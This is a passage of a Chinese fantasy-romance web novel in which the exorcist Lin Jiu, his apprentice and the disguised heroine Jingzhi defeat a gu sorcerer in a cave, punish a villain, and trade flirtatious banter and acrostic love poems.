“轻敌可不是好习惯!” 一声怒喝传来,静之微张着嘴,看着飞跃到空中,剑指射出厉光的林九,突然想到了林风。 妈呀,这世的他可真牛逼。 不过,他哪一世不牛逼了,就是说。 那法师的身影被林九直接击碎。 林九一跃而下,落在静之面前,他眼里带着几分深思,“你刚刚叫我什么?” 刚刚那个称呼,是深入骨髓的熟悉。 刚刚林弟情急之下叫出的声音,清脆悦耳,俨然不是她平时压低的少年音。 静之张了张嘴,顿了一下,才对他竖起大拇指,呐呐说道:“林兄,你脸上有点东西。” 林九蹭了蹭脸,“是香灰吧。” “不是,是有~点~帅~” “……” 哼,臭小子,就会口花花。 “师父!快来啊,我岳父好像要不行了!” 林九压下心里的疑虑,快步走了过去。 这时,阿宝已经跟小海把朱老板从桌子底下搬出来了。 朱老板不抽抽了,但是肚子却如同吹气球似的鼓了起来。 不过眨眼之间,他因为涨肚凸出的肚脐,渐渐伸出一抹绿色,然后越长越大,绿芽发出,叶片增多,跟打了激素似的。 “啊?”阿宝惊慌失措,伸手就想把它拔掉。 林九赶紧阻止,“不可,这是植物蛊,它的根已经缠绕住了他的内脏,你拔了,可能会连他的肠子一起带出来。” “啊?那怎么办?”阿宝的手一顿,又默默收了回去。 “必须尽快找到解药。”林九说。 “可是他肚子越来越大了,等找到解药,这株植物估计都能直接把他吸干了。”静之眉头越皱越紧。 林九沉吟一下,才缓缓说道: “用尿液浇在植物根部,可能会使它烂根。” “小海,你去叫小珠来。” “阿宝,静之,收拾东西,跟我去找解药。” …… 收拾好东西,静之莫名又去了趟天然居隔壁,顺了只小黑过来。 “行了,走吧。” 看着林九无语凝噎的样子,她笑了笑,“五黑犬不也是能辟邪的嘛,多一份保障嘛,哦~你说是不是啊,小乖?” 静之点了点小黑湿漉漉的鼻头。 小黑狗睁着圆溜溜的眼睛看着静之,突然伸出舌头舔舔她的手指。 它刚出生一个多月,浑身胖嘟嘟的,耳朵还软软往前耷拉下来。 静之忍不住rua了又rua,甚至把脸凑得极近,对小黑做着鬼脸。 林九闭了闭眼,暗暗咬住后槽牙。 小乖? 这么快就跟一只小狗这么亲密了?! “还不快走?!” 静之抱着狗,凑过去和阿宝交头接耳,“喂,你师父吃炸药啦?” 阿宝挠了挠锅盖头,“你别管他,他有时候就这样,这个时候要谨慎小心,不然就会挨揍。” “阿宝!!” “诶!”阿宝颠了颠背篓跟了上去,“师父,来了来了。” 林九白了碎嘴的徒弟一眼,余光瞄向边走边逗狗的静之,心气莫名不顺。 “走这么慢,行李很重啊?要 不要我帮你们拿点?” “好啊好啊!” 阿宝转过身子,把背篓对着林九。 林九却抢先把静之手里的狗子夺走,然后随意拿了阿宝背篓里一把桃木剑。 “诶,我的小乖!小乖我自己……”静之怀里一空,恋恋不舍朝林九伸出手。 “嗯??”他脸黑得吓人。 “你拿就你拿,别凶我嘛。” 她撇了撇嘴,两手把住肩上的背篓,大步朝前走去。 林九意识到自己好像情绪过分外露了,抿着嘴,顿时也不说话了。 气氛瞬间变得有些诡异。 好在前方草丛里隐隐传来火光,看来他们找对地方了。 “看来我猜得不错,刚刚斗法时,他受了伤,一定跑不了多远,我们在这附近找找。”林九围着眼前这个摆着羊头的古怪祭坛细看了一下。 然后一把揪住手痒到处乱翻的静之的袖子,“别动蛊师的东西,当心中招。” “你关心我?”她暗暗打量着他的表情。 林九指尖微顿,脸上不露痕迹的对她浅笑一下,“刚刚是为兄语气不好,作为兄长,当然关心你这个弟弟了,快走吧。” “……那小乖还我。”她说。 “你玩狗耽误时间。” “哪有?!我手上玩,其实走得很快的。”静之瞪大了眼睛看他,又满脸不舍的看着露出一个狗头瞅她的小黑。 “……它身上有跳蚤。”林九面不改色说。 “啊?那你还抱,你不是爱干净吗?” “……阿宝,过来。” 林九一把将狗塞进阿宝手里,“好好抱着。” 痛失小乖的静之简直目瞪口呆。 间接又负重的阿宝唉声叹气。 唉,他想师弟了。 第221章 割了吧 三人找了不久,便循着血迹找到一处山洞。 “(?w?)哇,好多小鹌鹑!” “小小的,也很可爱嘛。” 静之蹲下来看,却不敢摸,因为她嗅到了不同寻常的味道,腥臭腥臭的。 这样说,纯粹不过是想试探一下林九。 果不其然,林九拉住她的胳膊,使力把她从地上拽起。 “看到它们脖子上的铃铛没有,这些都是法师放出的前哨,你千万别乱动。” 静之看着他微微挑眉,“那我该动什么?” 要不,动他一下呢? 回去以后,像上辈子一样亲亲他,看看他什么反应? 林九被她盯得有些不自在,他放开她,迅速转头朝右侧的洞口走去,边说着: “什么都别动,找人要专心。” “师祖说过,一心不能二用,二目不能斜视,三人合为一体,四肢要保持活力,五……五……” 静之拨开眼前垂落下来的藤蔓,跟上他的脚步,在他耳边说: “五谷丰登,五颜六色,吾爱是你。” 林九:“……” “六六大顺,七上八下,九九归一,十分满分是林九。” 林九斜她一眼:“………………别闹。” 静之:嘁,防御挺强,这都能面不改色。 林九暗暗松了口气。 好险,差一点就被她说动了。 她居然说到了【爱】这个字。 静之突然抽了抽鼻子,四处打量着眼前这个山洞。 “林兄,有动物的味道。” 阿宝举起手里的狗子,“是不是你的小乖啊,刚刚尿我一身。” 话刚说完,三人拐过一处洞口,立刻被眼前的几只庞然大物镇在原地。 阿宝看了看手里的小不点,又看了看对面比它大五倍不止的几条黑狗,小心翼翼蹲了下来,把小黑往外推。 “快走吧,你还不够人家塞牙缝的,别做无谓的牺牲。” 小黑颠儿颠儿跑两步,然后狗腿一软,跟个小黑汤圆似的,啪叽一下趴在地上。 转头拿湿漉漉圆溜溜的眼睛,可怜兮兮看着静之。 小乖:大王,你断后。 “那什么,找个隐秘的角落等我们,等打完坏人,我就回去找你。” 小黑仿佛懂了,挣扎起身,又跑又滚,总算是出去了。 刚刚遇到林九没几天,还不是暴露的时候,静之也没想用威压。 她侧头问一句: “怎么过去?” 要不是洞太低,她都想抓着他俩飞过去。 奈何这里窄窄的,实在限制她发挥。 而林九知道这种时候,气势千万不能比狗弱,一弱它就容易追着你跑。 他紧盯中间那头最大的狗,朝旁边的洞口扬了扬下巴,“黄花鱼,溜边儿过。” 三人缓慢挪动两步,那几条狗仿佛被惊动了一般,纷纷站了起来。 喉咙里发出低吼,仿佛是战斗前的示威。 三人下意识齐齐后退一步。 退完林九就暗道糟糕,气势输了。 “汪!” 一声狗叫,仿佛冲锋的号角响起。 几条大狗从石头上跳下来,朝他们扑了过去。 几乎是同时,他们各自抽出自身的武器刺向扑过来的黑狗。 狗血洒了一地,阿宝和静之只一个照面就砍死一条狗子。 万万没想到,林九拔出来的是桃木剑。 这剑对付邪祟好使的很,对付大狗,连皮都剌不破。 刺出去那一剑,根本没卵用,他还倒霉的被狗扑倒了。 静之见势,利落挽了个刀花,一道光影闪过。 林九只觉得腥臭的狗嘴张大到他眼前,就砰的一声滚落在地。 林九迅速侧过头,狗血还是不可避免的洒了林九一身。 “抱歉,事从紧急,回去我给你洗干净。” 静之朝他伸出手。 林九下意识伸出手握住,触到柔软的手心后,他突然一愣,迅速收回手,用断掉的桃木剑撑起自己。 奇怪,她武功那么好,为什么手心没有茧呢? 剩下两条狗,看到狗老大一刀就被砍死了,皆夹着尾巴落荒而逃。 “幸亏你跑得快,不然我饶不了你!” 林九有些狼狈的扶正道冠,对着洞口小声放着狠话。 静之突然噗呲一声笑了出来。 “你笑什么?” 静之笑意盈盈看着他,眼里满是愉悦,“林兄记仇的样子,也蛮可爱的嘛~” “男人怎么能用可爱来形容,走吧。” “就是可爱。”她多嘴一句。 哟哟呦。 刚刚她说喜欢他,他没脸红。 说他可爱,他倒是羞上了。 什么怪癖?可爱过敏癖? “都说别闹了,都提高点警觉。” “哦。”静之摸出一条帕子,贼顺手的抹一把林九脖颈间溅到的血迹。 他吓了一跳,缩了缩脖子,拿胳膊肘撑开她,接过帕子说: “我自己来,你再动手动脚,你就出去。” “出去出去,真出去了你又不高兴。”她小声碎碎念,然后一刀砍中从上头藤蔓弹射下来的毒蛇,“你看,我又救你一命。” 林九:“……你离我远点,我就没事。” “你!!”静之的脸色一下就冷了下来。 “师父……”阿宝欲言又止。 林兄弟虽然喜欢开玩笑,但是确实救了他师父两次,他师父这样说人家,是不是太过分了。 “哼。” 望着走到前头去开路的静之,林九紧抿着嘴,手心却轻柔的摩挲着那条帕子。 林弟,别爱我。 没结果的。 我不想你被别人耻笑…… …… “九叔,救我!快救我啊!” 史公子像条狗似的,被拴在石柱上。 看到林九一行人进来,他不禁从一身正气的林九身上找到安全感。 却又突然被他身前那个如煞星般,冷着脸,满刀是血的静之吓到噤声。 她刚刚被林九一句话气到,简直是遇到啥砍啥,身上的一袭白衣都快染成红色的了。 她提着刀径直朝着山洞最里侧那个盘腿打坐的老头走去。 走到一半,胳膊又被扯住。 “林弟,别过去,有危险。” 静之转头,眼神缓缓下移,落到他握住她胳膊的大手上,她冷笑一声,“你不是叫我离你远点吗?放开我。” 林九神情微顿,“林弟,我……” “哼哈哈哈!!”法师一口吐掉被他吸干血的蛇,看向林九。 “史公子你是不是求错人了,你坑了他徒弟,他只会杀你,不会救你。” 仇人相见,分外眼红。 林九放开静之,缓缓走上前,一脸冷漠的看着史公子。 “没错,你们两个作恶多端,狼狈为奸,本来就死有余辜。” “如果你们两个立刻把解药拿出来,然后远走高飞,我或许能饶你们两条狗命,以后就让天来收拾你们吧。” 法师冷哼一声,缓缓擦去嘴边的鲜血,直接倒打一耙:“天地不仁,以万物为刍狗。草芥人命的到处都是,你偏偏来对付我。” 不是,他是不是以为他是宇宙的中心啊。 只准他欺负别人,不准别人反击?? 静之眉毛一竖,忍不住扯嗓开始骂街: “什么叫他对付你?!明明就是你身边那个狗东西见色起意 你助纣为孽 还欺负阿宝 林兄才对你出手的 你也不是个好东西 今天林兄要是你打死你 史公子出门就被雷劈死!!” 她骂人不带喘口气的样子,让众人目瞪口呆。 史公子:喵喵喵?怎么还有他的事? 林九微微挑眉,看着她叉着腰骂人的样子,心里莫名有些想笑。 说他可爱,她才可爱呢,跟个小炮仗一样。 刚刚…他是不是真的说得太过分了? 法师更是气得胸口不停起伏,甚至旧伤复发,呕了口血出来。 他用力蹭去嘴唇上的鲜血,阴狠的看了他们一眼。 “哼,你们要解药是吧。”他抬手直指史公子,然后手指渐渐下移,忽而露出一抹邪笑,“解药啊,就在他肚子里。” “你以为这样就能吓到我?我现在就把他剖了!” 静之板着一张小脸,提着刀就朝史公子走去。 史公子吓得慌不择路,直接钻进身后的小棺材里。 他双手合十,不住对静之哀求着: “不要剖我,我错了我错了,我再也不缠着小珠了。” “咚……咚……咚……” 还未走到史公子跟前,阵阵鼓声突然在山洞里回响。 她侧头一看,原来是法师正在做法。 静之趁他做法时,旋即将刀用力掷了过去。 “咔嚓!” 人腿棒骨制成的鼓槌瞬间被切成两段掉在地上。 法师却笑了。 “没用的,术法已成,你们就死吧。” 他身后竖着的几副棺材里,用麻布裹得看不见人脸的尸体,突然咔滋咔滋动了起来。 林九来到静之身后,不容质疑,将呆住了的她往自己身后拉。 “师父,这是什么?” “这就是道家所说的巫乃尼,挖去内脏,用特殊药材使他们的皮肉不腐。” 阿宝:“巫乃尼?” 静之:“木乃伊?” 林九:“不是木乃伊,是巫乃尼。” 静之:“我爱你?” 林九:“……不许说!” 他的心狠狠跳了一下,脑子里下意识抗拒这句话。 就这么几句话的功夫,那几具巫乃尼已经来到他们跟前了。 三人瞬间被缠上,使刀的刀都砍出豁口了,硬是一具都没砍倒。 使拳头的静之跟林九,打得拳头通红,硬是没撂倒一个。 静之委屈巴巴捂着钝痛的拳头,“林兄,痛,怎么跟打在石头上一个样儿。” 林九:“哦,我刚刚忘说一句,除了一处死穴,他们有着金刚不坏之身。” “你不早说?”静之弯腰躲过挥过来的一击,幸亏这些巫乃尼动作比较慢,不然她看她要被捶成肉泥了。 “死穴在哪里?” 林九脑子里突然闪过刚刚朱老板的样子。 这个人擅长下蛊,要维持这些尸体不腐不烂,不仅外面要涂药,里头也要灌药进去防腐。 这样一来,药物就会直入神阙。 “试试神阙穴。” “哦!” 静之找了个机会,两指成剑,猛戳巫乃尼的神阙穴。 仿佛被泄了一口真气,巫乃尼自神阙穴喷出一股烟雾后,便失去了动静。 接下来就简单了,三人不一会儿就把法师的几个宝贝整得瘫了一地。 还没来得及喘口气,法师旁边一左一右,身上以缠绕的毒蛇做衣的两个护法,踏着蛇形步,朝他们的方向奔来。 “师父,这又是啥呀?” 护法身上都是毒蛇,阿宝打得束手束脚,生怕被蛇咬。 林九功夫好一些,单独对付一人绰绰有余。 静之只得过去帮阿宝的忙。 “蛊童,你们小心点!不要碰到他们的血,有毒的!” 眼前这人跟蛇一样,滑不溜秋的,又不能近身,动作又像蛇一般灵敏。 饶是静之跟阿宝,一时之间也跟他打得难舍难分。 “林兄弟,话说打蛇打七寸,他现在是人身,人的七寸又在哪里?” 静之眼前一亮,对旁边正跟蛇人周旋的阿宝投去一个赞许的眼神。 不愧是武学奇才啊,跟他上辈子一样,一来就找敌人弱点。 “脊梁骨,不过他的背缠满了蛇,你估计打不到……你试试打他颈椎骨,那里比较脆。” 说行动就行动,换静之与蛇人缠斗。 阿宝扯过一根树藤,站在旁边找机会。 “我说你可得瞄准了啊,不准打到我!” 静之身手灵活的很,三两下爬到石壁上,躲过蛇人追捕,然后用力向下一跃。 蛇人立马追了过去,不一会儿,两人互相扯着手,双双滚落在地。 “小心毒蛇喷雾!” 静之没空回头,只能应了声好。 “嘶!”一股淡绿色气体从蛇人嘴里喷出。 有了林九的提醒,静之立马侧头避过扑面而来的喷雾,“快点儿啊,阿宝!” “啪!” 正中目标,静之一个翻滚,避过蛇人喷出的毒血,站了起来。 “我就说有用……阿九!” 眼神刚落到林九身上,静之就忍不住疾呼出声。 林九此时正盘腿坐着,脸上青黑,嘴唇苍白,好像正运气排毒。 静之心急如焚,一脚蹬开 扑过来的另一蛇人,朝林九冲了过去。 “阿宝你缠住他!” 她就说嘛,他刚刚怎么会突然提到毒蛇喷雾,原来是他不小心中招了。 静之来到林九身边,一时之间竟不敢动他。 就在此时,一块棺材板从旁边呼啸而来,径直砸向林九。 静之瞳孔一缩,一个转身,飞起一脚,直接把棺材板踹飞。 没想到正中那法师的奸计。 棺材板挡住了她的视线,棺材板掉落以后,紧随而来的,是法师凌空击过来的两掌。 他的手心泛绿,可想而知,这两掌肯定带着毒。 “抱歉。”静之揽住林九的腰身,脚下一点,腾空而起,慢慢飞落到另外一处石头后面。 林九突然睁眼,愣愣的看着她,“你……” 静之转头一脸警惕的看着法师,眼神有着些微的闪烁。 “我轻功好不好啊?哈哈。” 林九抿了抿嘴,没再说话。 他刚刚明明感觉到了一点灵气波动的。 算了,每个人都有每个人的秘密。 她也不是非要什么事都告知他的。 “啪!” 阿宝一回生二回熟,一点不掉链子,又解决了一个。 他跑过来,与二人会合,“师父,你没事吧?” “他中毒了,要尽快把毒逼出来,可是老东西一直骚扰他。” “接下来交给我,你为师父护法。” 阿宝挡在林九前面,颇有一夫当关万夫莫开的架势。 “林兄,你这个徒弟没收错嘛,挺靠谱的。” “啊啊啊!我要你们死!!” 法师彻底癫狂。 他冲着三人的方向竖起两个胳膊,大股的毒气突然从他的袖口喷出。 林九实在不放心,又强行中断排毒,向前跨一步,把弟子藏在他劲瘦的身躯后。 双臂瞬间一展,宽大的道袍彻彻底底挡住袭来的毒雾。 “三昧真火!”道袍后,金蝉脱壳的林九和阿宝对了个眼色。 阿宝秒懂。 趁他师父掏出符纸点燃,他立刻调动全身灵力准备迎战。 毒气消散,三人屏息。 衣袍承受不住毒气,粉碎的那一刻,阿宝立马执起剑指,结出手印,以符纸为媒介,朝法师喷过来的毒气射出一道火龙。 奈何姜还是老的辣。 阿宝的功力实在没有老头强,眼瞅着毒气一寸寸向他们方向蔓延过来。 林九又中毒了,不能乱动真气。 心急如焚的静之突然灵机一动,朝身上的口袋里,抓出一把白色粉末扬了过去。 “把你骨灰都给扬喽!” 火势碰到白色粉末,瞬间轰的一声变大,直接越过毒气朝法师身上撩去。 “啊!!!” 法师瞬间变成个火人,发出宛如恶鬼般的惨叫。 不过几息时间,就被三昧真火烧了个干干净净。 “噗……” 林九一脸严肃走了过来,拿起她满是白色粉末的手细看,“不是叫你不要碰他的东西了吗?有毒怎么办?” 静之伸出手指,在林九和阿宝极度震惊的眼神中,嗦了一口粉末。 瞬间就被林九捏住嘴巴。 林九确实慌了,这小子,怎么啥都吃?? “快吐出来!” 静之张着小鸡嘴,呐呐说道: “骗他哒,我就是气他一下,这是我从家里带的面粉。” “面粉遇明火易爆炸嘛,那老头敢炸你,我就炸他。” 林九闭了闭眼,缓缓放开她。 “你刚刚抱过狗。” “砍过蛇。” “还在地上打滚。” “你就这么嗦一口,不怕拉肚子吗?” 静之捂着肚子,“不,不至于吧。” 他在这边强行给静之洗手,阿宝急于救他岳丈,揪着史公子的领子就过来了。 “师父,把他切了!拿解药,再不救就来不及了。” 史公子吓得两股战战,“不要切我,我知道错了,求你们不要切我。” 林九低着眉思考几秒,说:“解药现在已经被他消化,切了也没用。” “啊?那怎么办?”阿宝如丧考妣。 “现在 药入丹田,直陷下体。把他下面割了,给你岳父吸上一天一夜就好了。” 史公子突然谄媚笑道:“九叔,那个,能不能,含完再割啊?” 静之狠狠抽一把他的后脑勺,“美得你!不行,现在就割!” qj犯就得就地阉割。 “阿宝你动手,割完看你是要把他砍了,还是拖回来让我给他上上刑,随便你。” 静之说完,懒得再看那个人渣一眼,转过身子,抓过林九的胳膊往自己肩上一搭,就朝外面走去。 “你没事吧,要不要背你,我跑贼快。” “这里乌烟瘴气的,不利于你排毒。” 林九知道事情紧急,只犹豫了一下,就趴到了她半倾斜的背上。 “嗷嗷~” “小乖来!怀里还有个位置。” 静之一手向后托着林九屁股,另一手朝草丛里奔出的小黑伸去。 小黑还没接住,她就感觉一阵窒息。 “林兄,别箍我脖子,喘不过来气了。” 冷冷的声音从脑后传来,“为兄都要死了,你还有心情玩狗?” 静之默了一瞬,突然一脸严肃的说:“你放心,我不会让你死的。” “……哼,还不拿了赶紧走。” 静之侧过头,微微勾起的嘴角,和白皙的脸庞,让林九不禁红了耳根。 她说:“那……我拿小乖了哦,你不许再箍我脖子了,好好扶着我的肩膀。” “嗯。”他闷闷应了一声,眼神上抬,看着一轮圆月,不知道在想什么…… 第222章 没看出什么吗? 月明星稀,两个交叠的身影拉得很长。 小黑乖乖的待在她怀里,静之却没有心思rua了。 因为身后人的温热的鼻息,一下一下打在她的耳边。 右耳的耳廓渐渐红了起来,静之怕身后的人听到她急促的心跳,故意背着他加快脚步行走。 我是累的,绝不是心动了! 还没整完他呢,哼。 身后的林九此时已经不看月亮了,之所以呼吸会打在她耳旁,是因为他正定定的盯着她的小半部分侧脸看。 她的馨香就在鼻尖萦绕,她的体温暖了他因中毒凉下来的身子。 人脆弱的时候,是不是很容易破防? 他想是这样的。 此时的林九甚至在想,这段路能一直走下去就好了。 就当,他跟她在一起了半个时辰也好。 …… 由于她的脚程快,半个时辰硬生生被她缩短为15分钟。 林九抿了抿嘴,突然想撩开她的高马尾,给她圆圆的后脑勺来一记栗子。 大木头! “你先排毒,我去药房找点解蛇毒的丹药来。” 静之把嘴唇开始发黑的林九放下,脸上是止不住的担忧。 “药房没开门。” “你放心。”静之认真的拍了拍他的手,“我有办法。” “小海,帮我把小乖还回去天然居隔壁。” 静之交代一声,立马出了道观。 小海:“谁是小乖?” 小黑疯狂摇尾巴:“嗷~” 小乖是俺~ 林九默默看了狗一眼,思索一下,掏出两枚银币交给小海。 “狗放到她院子里去,把钱给养狗的人家送去。” 小海捏着手里的钱,眼睛越瞪越大,“师父,你给她买狗啊??” “怎么?你有意见?” 弟弟喜欢玩狗怎么了? 他之前想过了,他不能接受她的爱,他会补偿她,让她开心的。 …… 另外一边。 梁恩今晚刚被娘子原谅,终于能入房睡觉了。 这会儿睡得正香,衣领突然就被一把揪起来。 莫名的,他闻到一股狗味。 他睁眼一看。 “哎呦喂,老祖宗,你吓死我了,大半夜不睡觉,你干嘛呀?” 祖奶奶怎么一股狗味? 半夜钻狗窝玩狗了? 夜生活这么丰富的吗? 梁恩的眼里满是八卦,下一秒,头顶就被赏了一记清脆的响。 梁媛偷偷睁开眼睛一看,然后翻了个身假装睡觉。 笑死,祖奶奶还是这么可爱。 “有没有专解蛇毒的解毒丹啊,快交出来!” 梁恩突然坐了起来,一脸担忧,开始给静之切脉:“你被蛇咬了??” 她拍掉他的手,略微一想,觉得光吃丹药还是不妥。 于是走到桌前把梁恩的衣服丢过去。 “穿上衣服,带好药箱,各种解蛇毒的草药都给我带上,去晚一步,你祖爷爷要是没了,我拿你是问!” 一听是要救祖爷爷,梁媛伸出一脚,直接把呆住了的梁恩踹下床。 “还不快去,没听到静之奶奶说什么了吗?!” 静之欲言又止,“媛啊……你相公八十七了,你悠着点。” “他早都习惯了,赶紧走赶紧走,解毒丹他桌上那药箱里就有。” 得,人到八十,她这副虎妞的性子还是没变。 …… 一路上,静之跟梁恩千交待万交待,见到林九时,一定一定,不能跪下叫祖爷爷。 …… 梁恩一进门,立马化身狗腿子,一脸热切的看着打坐逼毒的林九说: “那个……祖……主要是中了什么毒啊,你手伸出来我给你把把脉。” 林九一睁眼,就看到是这个从小跟踪他到大的跟踪狂,他有些不悦的看了一眼静之。 怎么把他给带来了。 “我没事,梁老先生你回去吧。” 他的冷脸让梁恩不禁腿一软,差点给他跪下。 二娣在他们这群小辈前,一般也是冷着脸的,梁恩看了二十几年,童年阴影瞬间就回来了。 静之搀着他胳膊,咬着牙小声在他耳边说:“怕他干什么,快去给他把脉,敢跪下的话我先打断你的腿!” 梁恩七老八十了,从未想到他还得看别人脸色。 他挪动步子来到林九面前,硬着头皮朝林九伸出手。 林九叹了口气,指尖微微一动,梁恩立马吓得一哆嗦,双臂迅速交叉,做出一副格挡的姿态。 静之:啧啧啧,挺熟练啊,平时没少被阿媛揍吧。 “看吧,看完赶紧走。”林九朝他翻了个白眼,把手腕搁到一旁桌上。 静之伸出一掌比了比,“啧,再磨叽我抽你!” 梁恩愁眉苦脸,赶紧过去给林九把脉。 他死都没想到,到老还得被威胁。 而且阿媛一定是遗传了祖奶奶的性格吧。 一样凶。 就连刚刚那句吓唬他的话,也跟阿媛平常骂他的话一模一样。 “z……他没事,仅有一点余毒未清,他若可以自己排出来,丹药还是不吃的好,是药三分毒嘛。” 静之手指敲敲桌面,“药放下,以防万一,你走吧。” 梁恩眼巴巴看着她,“你不送我回去?” 静之轻笑一声,指指门口斜着的影子,“有人来接你了。” 梁家人是长情的。 一看到他的阿媛不睡觉,拄着拐,披着外套也要来接他回家,梁恩感动得泪眼汪汪。 梁媛横眉竖眼:“敢在这儿哭出来,你就看我揍不揍你就完了。” 静之捂着嘴偷偷笑了,她站起来轻踢一脚靠在柱子上看戏的小海,“你帮我送送他俩,两个老人家走夜路我不放心。” “得嘞!” …… 那瓶药,静之留给了林九。 她相信他有分寸的。 这么一顿闹腾,天都快亮了。 事实证明,人不能太铁齿。 静之开始拉肚子了。 可能也就是嗦那一口的事儿。 小海顺便帮她请了假,还强扯着她来到道观一起休养。 美其名曰,怕她一个人拉晕在家里,没人发现。 今天又是个大晴天。 在院子里,她和林九各躺在一张躺椅上,中间一张高脚的小几把两人隔开。 他在阴影处纳凉。 她则在阳光下,被暴烈的太阳煎得好像一条咸鱼。 静之时不时给自己翻个面儿,以免她的侧脸烤糊了。 “还难受呢?”林九问。 “草纸都快叫你用完了,看你下次还敢不敢了?” 静之朝他翻了个白眼,“我马上就好起来了!” “呵。” 痢疾会惩罚每一个嘴硬的人。 “小海,再把她的水杯装满,顺便加点盐。”林九朝正在檐下刷狗子的小海唤了一声。 “师父,你叫师兄吧,我这忙着呢。”小海说。 边说着,他还抓起浑身皂角泡泡的小黑前爪,朝林九挥了挥,“小乖,哦~咱们洗干净,你爹再抱你,她就不会拉肚子了。” 多了个狗儿子的静之,挪了挪身子,枕着手看小海洗狗。 “你轻点儿,小乖还小呢。” 小乖小乖,一天就知道小乖。 林九突然有些后悔,昨晚为什么一时心软给她买狗了呢? 他又翻了一页书,意图用知识把烦杂的思绪赶出脑海。 旁边一直窸窸窣窣响。 她的小动作一直很多,不是拿望远镜看他,就是拿什么小东西丢他,他都快习惯了,于是也没理她。 过了一会儿,一架纸飞机一头扎进他怀里。 林九低头拿出来一看,有些不明所以。 “别浪费纸。” 静之早已坐了起来,这会儿趴在小几旁拿着毛笔,正写着什么。 她笑得贼兮兮的,拿笔杆子指指他手里的纸飞机,“林兄,我写了点东西,你快看!” 林九指尖微顿,想看,又不敢看。 她这个人,总爱逗他。 里面不会是写一些见不得人的话吧? “我写得很正常,你就看看吧。” 静之一脸真诚。 林九将信将疑,慢慢将这被折成奇怪形状的纸张打开来。 哦,还好,是一首诗。 “唯见曲尽平湖深,” “爱惜尔爷唯有我。” “林红半被暮云烧,” “九霄唯望冢累累。” “林弟,你写这个干什么?读起来怪伤感的。” 静之阳光下剔透的眸子微微一闪,嘴角勾起一抹暗藏深意的弧度。 “没什么,想写就写喽。” 他抚平纸张,小心对折,然后递给她。 静之拿笔杆子推了回去,“送给你,就是你的了。” 她倒要看看,他什么时候能读懂。 林九轻捻手中纸张,然后收了回来,夹进书里。 凉风习习,一个被叠得挺复杂的爱心又丢了过来。 “最后一张了哦,再浪费纸,我就要收起来了。”林九故意板着脸。 静之朝他皱了皱鼻子,“小气鬼,也就用你两张纸,哼!我不写了,你爱看不看。” “你又写什么了?” 静之没有回他。 翻了个身,煎右边。 林九实在忍不住好奇心,又打开看了。 吾徒耽酒作狂人, 为君百战如过筹。 女几山头春雪消, 子规夜啼江树白。 又是一首莫名其妙的诗。 林九悄然看了一眼她的背影。 这人…他以为他一眼就能看穿。 可越处,他越觉得她好似藏了许多秘密。 爱心同样被夹进书里。 背对着他的那个人,突然问了一句: “没看出什么?” 林九回忆了一下,轻轻说了声,“写挺好。” 静之莫名抽风似的,蹬了一下腿。 他才是大木头。 笨都笨死了! 第223章 林九哭了 七月十八快来了,两人各藏心事。 静之在他那儿待了一天,傍晚就回去了。 而林九排毒之余,也开始接着做他的东西。 小乖终究是被扣留在道观里了。 说要送给她,他还是见不得她与它太亲近。 而给静之说的理由则是,肚子没好前,不能碰狗子。 对此小乖表示强烈的抗议,它被洗得都炸毛了,绝对一只跳蚤都没有。 此时它两只软绵绵的前爪正不断刨着相隔的一堵墙,嘴里还学着狼的样子,嗷呜嗷呜叫。 林九也就看了一眼,便把窗户关上。 然后从房门口出来,“你师兄人呢?” 正撑着脸看狗的小海手一滑,赶紧侧过头回答: “哦,他忙得很,把史公子割了以后,就把史公子交给衙门了,朱老板现在有小珠看着,倒是没什么,他不放心衙门那些人,就偷偷过去围观审讯了。” 听到这儿,林九的眉毛渐渐皱成个川字。 史家家大业大,正是威大人最爱巴结的那种人。 林九倒是觉得,史公子可能不会受到什么处罚。 倒是他大徒弟这性子有些冲动,万一看到仇人被无罪释放,那还能有好? 不行,他得去看看。 脚还没跨出院子门,就听到了阿宝的声音。 “师父,师父!” 阿宝兴高采烈,咧着个大嘴迎面走了进来。 林九不解。 现在还有什么事儿是值得他高兴的? 下一秒,嘴把不住门的阿宝立刻把所有的事情告诉他了。 “师父,史公子被判刑了!多户人家一起上衙门举报他奸淫妇女,无恶不作,威大人判他三日后斩首示众。” “哦?” 见林九面带疑虑,他比手画脚的说起了刚刚在衙门的盛况。 “是林兄弟召集的那群人,原来她前几天巡逻的时候,顺便偷偷拜访了那些被史公子伤害过的人家。” “就东街口那户的闺女,前年不是死了吗,原来是被史公子qj,一时想不开投了河,她家就一个老娘在,还不识字,她的上诉状还是林兄弟帮忙代写的呢!” “史公子昨晚还擅闯村公所,偷了我的生辰八字作恶,原来啊,他也经常用这招对付那些不听他话的女人,这次数罪并罚,还有命案参杂其中,我看他是逃不掉了。” 林弟真乃大义。 她在做实事儿的时候,他竟还对她生出那般龌龊的心思,是他不该。 林九的心里有着佩服和愧疚,却又忍不住升起几分忧虑。 史公子现在是个废人了,史家放弃他是理所当然的事。 不过,打断骨头连着筋。 静之这般作为虽是好心,但会不会被狗急跳墙的史家报复呢? …… 接下来一系列发生的事儿,却又让他打消了这份忧思。 史家经营的主业,瓷器店突然被曝出以次充好,副业古董店则被投诉以假乱真。 镇上不少顾客都打到史府门口了,扔菜叶的扔菜叶,泼粪的泼粪。 一时之间,史家人人喊打。 而他们在镇上的其他产业突然被不知名人士收购,史家财力大缩水,众多门客纷纷远走高飞。 昔日镇中一霸的史家,算是彻底萧条下去了。 …… 此时的隔壁院子。 “恩啊,干得漂亮,以最低的价格,买下那些铺面,这次你又大赚一笔了吧?” 梁恩慢悠悠的喝口茶水,咔嗒一声脆响,放下茶杯。 才对着上座摸着脸呲牙咧嘴的静之笑着说: “多亏祖奶奶提供他们做假账的证据,否则梁恩哪儿能如此简单,便吞下东街那块儿的店面。” 静之摸完脸,又小心翼翼摸着火辣辣的后脖子叹了口气,“抓贼要抓赃,要是他们不使坏,也不会被我拿到证据。” “别说这个了,你那儿有没有晒伤药啊?你祖奶奶我的脸都要被晒烂了,还有我的后脖子。” “……有,我帮您上药?”梁恩打开随身的药箱,掏出一个褐色的罐子。 “诶,别!他可不准别人动我的,你放下,我去找他。”静之叩叩桌面。 “既如此,那这些银两您收下,还有一半的铺面地契。”梁恩打开一个木盒子,把东西推给她。 静之扶着脑袋,又把东西推回去,“哎呀,我要这些干什……诶等等。” 静之灵光一闪,突然从里头拿出两锭银子,然后对上梁恩真诚的眼睛: “这些铺面的地契,换一张咱们梁家铺面的地契可行否。” “在这条街上的,位置不用太大,够做点小生意就行。” 梁恩咔嗒一声关上药箱,有些疑惑的说:“有倒是有,您要做什么生意?” “话说,您上次不是说要来族里的学堂学医吗?怎么还不来?若是做生意,您哪里还有时间?” 